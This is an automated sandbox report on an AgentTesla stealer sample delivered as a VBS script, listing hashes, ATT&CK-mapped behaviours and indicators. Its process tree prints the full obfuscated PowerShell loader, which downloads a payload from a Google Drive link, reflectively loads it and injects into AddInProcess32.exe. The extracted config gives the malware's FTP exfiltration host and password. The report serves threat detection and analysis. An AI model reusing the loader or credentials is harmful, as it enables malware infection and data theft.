agenttesla | d9ac7c9de98bcda1ccf6bc34b29c9a7484baa21494eef52f1ae781934e617b3f

General

Target

win78MPDW-constraints.vbs
Size

136KB
MD5

6a48228565ed733cd60056d99cff8a6b
SHA1

e9b69eb11d2a9c6eab1a1429201ccebc92b9fef3
SHA256

d9ac7c9de98bcda1ccf6bc34b29c9a7484baa21494eef52f1ae781934e617b3f
SHA512

d3387d9f844ade99dabfc6b0bb93a8f38a89c85ecaed21a7e75a74cccf81c721134be9e345a9eb251bca5ec464a7a7651396fc7fb0e9a3612bf9fca310572d62
SSDEEP

3072:CaTCgt5pKGw018Ywypkdf2IULVnKQ4eC5kA:t3adfbYdKQhK7

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.fosna.net
Port:
21
Username:
[email protected]
Password:
=A+N^@~c]~#I

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	424	powershell.exe
12	424	powershell.exe
31	424	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3896	powershell.exe
424	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
37	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 424 set thread context of 4360	424	powershell.exe	97

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3896	powershell.exe
3896	powershell.exe
424	powershell.exe
424	powershell.exe
4360	AddInProcess32.exe
4360	AddInProcess32.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3896	powershell.exe
Token: SeDebugPrivilege	424	powershell.exe
Token: SeDebugPrivilege	4360	AddInProcess32.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4176 wrote to memory of 3896	4176	WScript.exe	84
PID 4176 wrote to memory of 3896	4176	WScript.exe	84
PID 3896 wrote to memory of 424	3896	powershell.exe	86
PID 3896 wrote to memory of 424	3896	powershell.exe	86
PID 424 wrote to memory of 4360	424	powershell.exe	97
PID 424 wrote to memory of 4360	424	powershell.exe	97
PID 424 wrote to memory of 4360	424	powershell.exe	97
PID 424 wrote to memory of 4360	424	powershell.exe	97
PID 424 wrote to memory of 4360	424	powershell.exe	97
PID 424 wrote to memory of 4360	424	powershell.exe	97
PID 424 wrote to memory of 4360	424	powershell.exe	97
PID 424 wrote to memory of 4360	424	powershell.exe	97

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\win78MPDW-constraints.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJEVuVjpjT01TcEVjWzQsMTUsMjVdLWpPSU4nJykoICgnUjdiaW1hZ2VVcmwgPSB1MWtodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTEnKydBSVZnSkpKdjFGNnZTNCcrJ3NVT3libkgtc0R2VWhCWXd1ciB1MWs7UicrJzdid2ViQ2xpZW50ID0gTmV3JysnLU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsnKydSN2JpbWFnZUJ5dCcrJ2VzID0gUjdid2ViQ2xpZW50LkRvd25sb2FkRGEnKyd0YShSN2JpbWFnZVVybCk7JysnUjdiaW1hZ2VUZXh0ICcrJz0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbicrJ2coUjdiaW1hZ2VCeXRlcyk7Ujdic3RhcnRGbGFnID0gdTFrPDxCQVNFNjRfU1RBUlQ+PnUxaycrJztSN2JlbmRGbGFnID0gdTFrPDxCQVNFNjRfRU5EPj51MWs7Ujdic3RhcnQnKydJbmRleCA9IFI3YmltYWdlVGV4dCcrJy5JbmRleE9mKFI3YnN0YXJ0RmxhZyk7UjdiZW4nKydkSW5kJysnZXggPSBSN2JpbWFnZVRleHQuSW5kZXhPZihSN2JlbmRGbGFnKTtSN2JzdGFydEluZGV4IC1nZSAwIC1hbmQnKycgUjdiZW5kSW5kZXggLWd0IFI3YnN0YXJ0SW5kZXg7UjdicycrJ3RhcnRJJysnbmRleCArPSBSN2JzdGFydEZsYWcuTGVuZ3RoO1I3YmJhc2U2NExlbmd0aCA9IFI3YmVuZEluZGV4IC0gUjdic3RhcnRJbmRleDtSN2JiYXNlNjRDb21tYW5kID0gUjdiaW1hZ2VUZXh0LlN1YnN0cmluZyhSN2JzdGFydEluZGV4LCBSN2JiYXNlNjRMZW5ndGgpO1I3YmJhc2U2NCcrJ1JldmVyc2VkID0gLWpvaScrJ24gKFI3YmJhc2U2NENvbW0nKydhbmQuVG9DaGFyQXJyYXkoKSBqQlogRm9yRWFjaC1PYmplY3QgeyBSN2JfIH0pWy0xLi4tKFI3YmInKydhc2U2NENvbW1hbmQuTGVuZ3RoKV07UjdiYycrJ29tbWFuZEJ5dGVzID0gW1N5c3RlbScrJy5DJysnb252ZXJ0XTo6RnJvbUJhcycrJ2U2NFN0cmluZyhSN2JiYXNlNjRSZXZlcnNlZCk7JysnUjdibG9hZGVkQXNzZW1ibHkgPSBbU3lzdCcrJ2VtLlJlZmxlY3Rpb24uQXNzZW1ibHldOicrJzpMb2FkKFI3YmNvbScrJ21hbmRCeXRlcyk7UjcnKydidmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCh1MWtWQUl1MWspO1I3YnZhaU1ldGhvZC5JbnZva2UoUjdibicrJ3VsbCwgQCgnKyd1MWt0eHQuNDQ0NmVzYWJiYmJiYicrJ2JiYmJldycrJ21hZGFtLzQzMS44NzEuNjQuODkxLy86cHR0aHUxaywgdTFrZCcrJ2VzYXRpdmFkb3UxaywgdTFrZGVzYXRpdmFkb3UxaywgdTFrZGVzYXRpdmFkb3UxaywgdTFrQWRkSW5Qcm9jZXNzMzJ1MWssIHUxa2Rlc2F0aXZhZG91MScrJ2ssIHUxa2Rlc2F0aXZhZG91MWssdTFrZGVzYXRpdmFkb3Uxayx1MWtkZXNhdGl2YWRvdTFrLHUxa2Rlc2F0aXZhZG91MWssdTEnKydrZGVzYXRpdmFkb3Uxayx1MWtkJysnZXNhdGl2YWRvdTFrLHUxazF1MWssdTFrZGVzYXRpdmFkb3UxaykpOycpLlJFUExhQ0UoKFtjSGFyXTgyK1tjSGFyXTU1K1tjSGFyXTk4KSxbU3RySW5nXVtjSGFyXTM2KS5SRVBMYUNFKCd1MWsnLFtTdHJJbmddW2NIYXJdMzkpLlJFUExhQ0UoJ2pCWicsW1N0ckluZ11bY0hhcl0xMjQpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3896
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $EnV:cOMSpEc[4,15,25]-jOIN'')( ('R7bimageUrl = u1khttps://drive.google.com/uc?export=download&id=1'+'AIVgJJJv1F6vS4'+'sUOybnH-sDvUhBYwur u1k;R'+'7bwebClient = New'+'-Object System.Net.WebClient;'+'R7bimageByt'+'es = R7bwebClient.DownloadDa'+'ta(R7bimageUrl);'+'R7bimageText '+'= [System.Text.Encoding]::UTF8.GetStrin'+'g(R7bimageBytes);R7bstartFlag = u1k<<BASE64_START>>u1k'+';R7bendFlag = u1k<<BASE64_END>>u1k;R7bstart'+'Index = R7bimageText'+'.IndexOf(R7bstartFlag);R7ben'+'dInd'+'ex = R7bimageText.IndexOf(R7bendFlag);R7bstartIndex -ge 0 -and'+' R7bendIndex -gt R7bstartIndex;R7bs'+'tartI'+'ndex += R7bstartFlag.Length;R7bbase64Length = R7bendIndex - R7bstartIndex;R7bbase64Command = R7bimageText.Substring(R7bstartIndex, R7bbase64Length);R7bbase64'+'Reversed = -joi'+'n (R7bbase64Comm'+'and.ToCharArray() jBZ ForEach-Object { R7b_ })[-1..-(R7bb'+'ase64Command.Length)];R7bc'+'ommandBytes = [System'+'.C'+'onvert]::FromBas'+'e64String(R7bbase64Reversed);'+'R7bloadedAssembly = [Syst'+'em.Reflection.Assembly]:'+':Load(R7bcom'+'mandBytes);R7'+'bvaiMethod = [dnlib.IO.Home].GetMethod(u1kVAIu1k);R7bvaiMethod.Invoke(R7bn'+'ull, @('+'u1ktxt.4446esabbbbbb'+'bbbbew'+'madam/431.871.64.891//:ptthu1k, u1kd'+'esativadou1k, u1kdesativadou1k, u1kdesativadou1k, u1kAddInProcess32u1k, u1kdesativadou1'+'k, u1kdesativadou1k,u1kdesativadou1k,u1kdesativadou1k,u1kdesativadou1k,u1'+'kdesativadou1k,u1kd'+'esativadou1k,u1k1u1k,u1kdesativadou1k));').REPLaCE(([cHar]82+[cHar]55+[cHar]98),[StrIng][cHar]36).REPLaCE('u1k',[StrIng][cHar]39).REPLaCE('jBZ',[StrIng][cHar]124))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:424
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4360

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
3ca1082427d7b2cd417d7c0b7fd95e4e

SHA1
b0482ff5b58ffff4f5242d77330b064190f269d3

SHA256
31f15dc6986680b158468bf0b4a1c00982b07b2889f360befd8a466113940d8f

SHA512
bbcfd8ea1e815524fda500b187483539be4a8865939f24c6e713f0a3bd90b69b4367c36aa2b09886b2006b685f81f0a77eec23ab58b7e2fb75304b412deb6ca3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c3xkanuv.cyg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/424-24-0x0000027171820000-0x000002717197A000-memory.dmp

Filesize
1.4MB

Download
memory/3896-31-0x00007FF9DB8B0000-0x00007FF9DC371000-memory.dmp

Filesize
10.8MB

Download
memory/3896-10-0x000002545BED0000-0x000002545BEF2000-memory.dmp

Filesize
136KB

Download
memory/3896-11-0x00007FF9DB8B0000-0x00007FF9DC371000-memory.dmp

Filesize
10.8MB

Download
memory/3896-12-0x00007FF9DB8B0000-0x00007FF9DC371000-memory.dmp

Filesize
10.8MB

Download
memory/3896-22-0x00007FF9DB8B3000-0x00007FF9DB8B5000-memory.dmp

Filesize
8KB

Download
memory/3896-23-0x00007FF9DB8B0000-0x00007FF9DC371000-memory.dmp

Filesize
10.8MB

Download
memory/3896-0-0x00007FF9DB8B3000-0x00007FF9DB8B5000-memory.dmp

Filesize
8KB

Download
memory/4360-25-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/4360-32-0x0000000005B50000-0x00000000060F4000-memory.dmp

Filesize
5.6MB

Download
memory/4360-33-0x00000000057A0000-0x0000000005806000-memory.dmp

Filesize
408KB

Download
memory/4360-34-0x0000000006950000-0x00000000069E2000-memory.dmp

Filesize
584KB

Download
memory/4360-35-0x00000000069F0000-0x0000000006A40000-memory.dmp

Filesize
320KB

Download
memory/4360-36-0x0000000006B40000-0x0000000006B4A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads